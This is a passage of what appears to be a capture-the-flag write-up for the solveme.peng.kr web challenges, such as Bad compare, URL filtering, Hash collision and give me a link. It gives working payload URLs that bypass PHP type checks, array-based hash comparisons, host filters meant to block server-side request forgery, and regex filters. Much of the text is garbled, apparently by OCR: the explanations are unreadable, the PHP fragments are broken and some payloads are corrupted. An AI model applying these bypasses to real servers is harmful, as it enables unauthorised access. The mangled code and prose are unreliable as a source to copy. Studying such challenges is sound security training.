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Warm up

http://warmup.solveme.peng.kr/

=base64_decode( )5

var_dump( );
=bin2hex( );

var_dump( );
=strrev( );

var_dump( )5
=hex2bin( );

var_dump ( );
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Bad compare

http://badcompare.solveme.peng.kr/
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payload= http://badcompare.solveme.peng.kr/?answer=%f0%ee%c2%f5%d3%fa%e5%f1%d7%cc

Winter sleep


http://badcompare.solveme.peng.kr/

error_reporting();

( [

(!is_numeric(

{
sleep((int)

3

}

highlight_file(

int() KAV FAF B BB PR, F-ERRIFRBEARBFAL
EANBIF: int("abc")=0 int("1sss")=1

Hard login
ST RERNEE, R

error_reporting(”);

session_start();

A

INA

1{}) || strtolower(

HH |

header (

}

highlight file(




curl http://hardlogin.solveme.peng.kr/index.php 1§ Zlflag

URL filtering

Note:
parse_url() 2% THRMENT URL AR URI B A AEMN PHP [ERAMFER MSL, T file// M REF=AFEL (ile)...) « H
BARA PSR BEIX A

dnurl2 s AR T LB R Flfalse, SRITHIE, {H2&do_you want_flagS s Szl LEHT )
payload: http://urlfiltering.solveme.peng.kr///index.php?do_you_want_flag=yes

Hash collision

WK S hashr i, EHAKALRE, hashZ/5iEEnull
payload: http://hashcollision.solveme.peng.kr/?foo[]=asss&bar[]=wwww

array2string
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chrifi Z 78 K T256 I k& B 3R, BT AR A Iget T

payload: http://array2string.solveme.peng.kr/index.php?
value[@]=305&value[1]=309&value[2]=372&value[3]=360&value[4]=351&value[5]=328&value[6]=353&value[7]=355&value[8]
=363&value[9]=361&value[10]=366&value[11]=359&value[12]=323&value[13]=353&value[14]=365&value[15]=368&password=s

imple_password

ps: TR AT A2 %
give me a link
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http://username:password@www.test.com

payload: http://givemealink.solveme.peng.kr/?url=https://givemealink.solveme.peng.kr:1@{H 2K
ip}/plz%legive%lome
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give_me_a_link2



error_reporting();

(preg_match(
(

= parse_url(
(!'preg_match(
(

(!preg_match(
(

(!'preg_match(
(

= socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
=== )
)s

gethostbyname (

is_null( [

(socket_connect(

(

)

socket_write( , strlen( ))s

= socket_read( );var_dump(
(!'preg_match( ,
(
}

socket close(

}

highlight file(
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if(!preg _match('/~(localhost|127\.\d+\.\d+\.\d+|[~.]+)(:\d+)?$/i"', $parse['host'])){
die('Not allowed host');
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http:/mww.msxindl.com/tools/ip/ip_num.asp
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payload: http://givemealink2.solveme.peng.kr/?url=http://{ipiht#E KX {305 }/plz%logive%hlome

Replace filter

preg_replace('/~(.*)flag(.*)$/"', "${1}<!-- filtered -->${2}', $ GET['say']);
A ¢ RILEC—4T, SEPR ENZEA /m #TILRC 24T
payload: http://replacefilter.solveme.peng.kr/?say=%0agive_me_the_flag
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